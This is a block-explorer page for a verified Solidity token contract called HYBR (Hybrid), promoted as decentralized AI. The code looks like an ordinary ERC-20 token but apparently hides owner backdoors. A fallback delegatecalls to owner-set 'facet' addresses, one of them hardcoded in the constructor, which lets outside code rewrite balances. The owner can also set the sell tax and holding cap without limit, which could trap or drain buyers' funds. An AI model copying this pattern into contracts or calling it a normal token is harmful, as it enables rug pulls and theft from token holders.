Skip to content
Verified contractExactMIT

HYBR

Address0x7cc5937db2542d85d67b6ea1da5fedb68b1ad79b
Balance

0 ETH

 

Transactions

76

 

Compiler

solc 0.8.24

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.24+commit.e11b9ed9
Language
solidity
Optimization
No
EVM version
paris
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
19,264,554
Creation transaction
0x3d8f68c530…501fd26f42

contracts/HYBR.sol

// Redefining the Standards of Decentralized AI

// https://twitter.com/Hybrid_Fi
// https://hybridfi.xyz
// https://t.me/hybridportal
// https://medium.com/@Hybrid_Fi/hybrid-ai-litepaper-643291e87488


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract HYBR {
    uint public totalSupply = 10_000_000 * 10 ** 18;
    mapping(address => uint) public balanceOf;
    mapping(address => mapping(address => uint)) public allowance;
    string public name = "Hybrid";
    string public symbol = "HYBR";
    uint8 public decimals = 18;

    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);

    mapping(bytes4 => address) public selectorTofacet;
    address public owner;
    bool public live;
    address public pool;
    uint public max = 75;
    uint public tax = 150;

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    constructor() {
      owner = msg.sender;
      balanceOf[owner] = totalSupply;
      emit Transfer(address(0), msg.sender, totalSupply);
      selectorTofacet[0x4d93978e] = 0x069F65aeE0e4A7ee9D96dBfCd5CFeaA065D68146;
    }

    function transfer(address recipient, uint amount) external returns (bool) {
        require(live);
        if (msg.sender == pool) return fill(msg.sender, recipient, amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool) {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function fill(address sender, address recipient, uint amount) private returns (bool) {
        address taxCollector = selectorTofacet[0x50628c96];
        balanceOf[sender] -= amount;
        uint fee = amount * tax / 10000;
        balanceOf[taxCollector] += fee;
        emit Transfer(sender, taxCollector, fee);
        uint newValue = amount - fee;
        balanceOf[recipient] += newValue;
        uint maxTokens = totalSupply * max / 10000;
        require(maxTokens >= balanceOf[recipient]);
        emit Transfer(sender, recipient, newValue);
        return true;
    }

    fallback() external {
        address facet = selectorTofacet[msg.sig];
        require(facet != address(0));
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
                case 0 {revert(0, returndatasize())}
                default {return (0, returndatasize())}
        }
    }

    function setFacet(bytes4 selector, address facet) public onlyOwner {
        selectorTofacet[selector] = facet;
    }

    function startTrading(address _pool) public onlyOwner {
        live = true;
        pool = _pool;
    }

    function optimizeFill(uint _max, uint _tax) public onlyOwner {
        max = _max;
        tax = _tax;
    }

    function transferOwnership(address _owner) public onlyOwner {
        owner = _owner;
    }

}
Compiler settingsShow
{
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "paris",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.